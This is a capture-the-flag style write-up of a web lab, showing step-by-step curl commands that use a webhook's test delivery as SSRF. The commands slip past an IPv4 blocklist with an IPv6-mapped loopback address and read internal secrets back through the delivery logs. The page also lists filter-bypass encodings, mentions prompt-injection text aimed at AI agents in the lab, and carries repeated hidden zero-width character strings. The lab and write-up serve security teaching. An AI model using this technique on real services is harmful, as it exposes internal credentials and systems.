← Back to Writeups
CUSTOMMediumWeb

Lab 6 — HookRelay — SSRF via IPv6-Mapped-IPv4 Bypass

XESXOR9/2/20263 min read
#web#custom#medium#internal_service_enumeration#ipv6_mapped_ipv4_bypass#ssrf_via_webhook#url_validation_bypass#webhook_delivery_log_exfiltrat

Lab 6 — HookRelay — SSRF via IPv6-Mapped-IPv4 Bypass

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: internal_service_enumeration, ipv6_mapped_ipv4_bypass, ssrf_via_webhook, url_validation_bypass, webhook_delivery_log_exfiltration

Summary

Walkthrough of the CUSTOM Web Lab 6 — HookRelay — SSRF via IPv6-Mapped-IPv4 Bypass. Task: Webhook management platform with URL validation blocking internal IPv4 addresses (SSRF filter). Solution: Bypass the blocklist using IPv6-mapped IPv4 address [::ffff:127.0.0.1] to reach an inter

Description

HookRelay is a webhook management platform that allows developers to configure, send, and monitor webhook deliveries. The application validates webhook URLs to prevent access to internal services. You've been hired to perform a penetration test on HookRelay's webhook delivery system. The development team has implemented URL validation to block requests to internal services (127.0.0.1, localhost, 10.x.x.x, etc.), but they want to verify the validation is bulletproof. Objective: Bypass the URL validation and make the server send a request to an internal service. The flag is available at an internal metadata endpoint that is not accessible from outside the container. Test credentials: user@test.com / password123. Flag format: FLAG{...} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: Webhook management platform (Node.js/Express behind nginx/1.25.5) with URL validation that blocks standard internal/private IPv4 addresses. Goal is to bypass the SSRF filter and access an internal metadata service to retrieve the flag. Login credentials provided.

Analysis

  1. Application structure: HookRelay provides webhook CRUD via a web UI and REST API. Key endpoints:

    • POST /api/webhooks — Create webhook (JSON: name, url, events, secret)
    • POST /api/webhooks/:id/test — Trigger a test delivery (server sends HTTP request to the webhook URL)
    • GET /api/webhooks/:id/logs — View delivery logs including full response body from the target ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  2. SSRF vector: The webhook test endpoint makes the server send an HTTP request to the user-specified URL. The response body is stored in delivery logs and visible to the user — a classic blind-to-full SSRF via response exfiltration.

  3. URL validation (blocklist): The application blocks a comprehensive list of internal IPv4 representations:

    • Standard: 127.0.0.1, localhost, 0.0.0.0
    • RFC1918: 10.x.x.x, 172.16-31.x.x, 192.168.x.x
    • Link-local: 169.254.x.x
    • Encoding tricks: hex (0x7f000001), octal (0177.0.0.1), decimal (2130706433), short form (127.1)
    • URL-encoded: %6c%6f%63%61%6c%68%6f%73%74
    • DNS-based: 127.0.0.1.nip.io, 127.0.0.1.sslip.io ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  4. Critical gap — IPv6 not checked: The validation is purely string/pattern-based against IPv4 representations. It does not normalize addresses, resolve DNS, or check IPv6 representations. IPv6-mapped IPv4 addresses like [::ffff:127.0.0.1] represent the exact same loopback address but bypass the filter entirely.

  5. Internal services discovered:

    • Port 8080: Main Express app (same as external, behind nginx)
    • Port 3001: Internal metadata service — returns secrets at /internal/secrets
    • Services only respond to IPv4-mapped IPv6 ([::ffff:127.0.0.1]), not pure IPv6 ([::1]) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  6. Honeypot trap: Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML elements, along with prompt injection text targeting AI agents. This is fake — the real flag requires actual SSRF exploitation.

Solution

Step 1: Authenticate

bash
TARGET="https://291ab6b7-ab98-40da-9ee9-b949bb1b044c.labs.hackadvisor.io"

curl -sk -c cookies.txt -X POST "$TARGET/auth/login" \
  -d "email=user@test.com&password=password123"

Step 2: Create webhook with IPv6-mapped IPv4 bypass URL

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key insight: [::ffff:127.0.0.1] is the IPv6-mapped representation of 127.0.0.1. Node.js/Express resolves this to the loopback interface, but the string-based URL filter doesn't recognize it as an internal address.

bash
curl -sk -b cookies.txt -X POST "$TARGET/api/webhooks" \
  -H "Content-Type: application/json" \
  -d '{"name":"ssrf_test","url":"http://[::ffff:127.0.0.1]:3001/internal/secrets","events":["push"],"secret":""}'

Response confirms the webhook was created:

json
{"success": true, "id": 13}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Trigger the webhook — SSRF fires

bash
curl -sk -b cookies.txt -X POST "$TARGET/api/webhooks/13/test"

Response confirms the internal service responded:

json
{"success": true, "status": 200, "message": "Webhook delivery logged"}

Step 4: Retrieve the flag from delivery logs

bash
curl -sk -b cookies.txt "$TARGET/api/webhooks/13/logs"

The delivery log contains the full response from the internal metadata service on port 3001:

json
{
  "master_api_key": "FLAG{REDACTED}",
  "db_password": "internal_pg_pass_2025",
  "aws_key": "AKIA_FAKE_KEY_12345"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering internal_service_enumeration, ipv6_mapped_ipv4_bypass, ssrf_via_webhook, url_validation_bypass, webhook_delivery_log_exfiltration was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-30 • CUSTOM • Lab 6 — HookRelay — SSRF via IPv6-Mapped-IPv4 Bypass • Difficulty: Medium